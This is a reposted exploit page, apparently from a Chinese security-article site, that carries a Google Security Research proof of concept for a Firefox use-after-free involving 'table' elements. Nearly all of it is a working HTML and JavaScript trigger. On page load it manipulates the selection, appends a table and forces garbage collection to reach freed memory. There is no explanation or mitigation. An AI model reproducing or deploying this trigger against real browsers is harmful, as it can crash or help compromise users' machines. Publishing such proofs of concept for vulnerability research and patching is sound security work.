Mozilla Firefox - 'table' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Mozilla Firefox - 'table' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2017-03-21

<style>
body { display: table }
</style>
<script>
function freememory() {
try { fuzzPriv.forceGC(); } catch(err) { alert('Please install domFuzzLite3'); }
}
function go() {
var s = document.getSelection();
window.find("1",true,false,true,false);
s.modify("extend","forward","line");
document.body.append(document.createElement("table"));
freememory()
}
</script>
<body onload=go()>
<table>
<th>u~Z1Cqn`aA}SOkre=]{</th>
</table>
<progress></progress>

[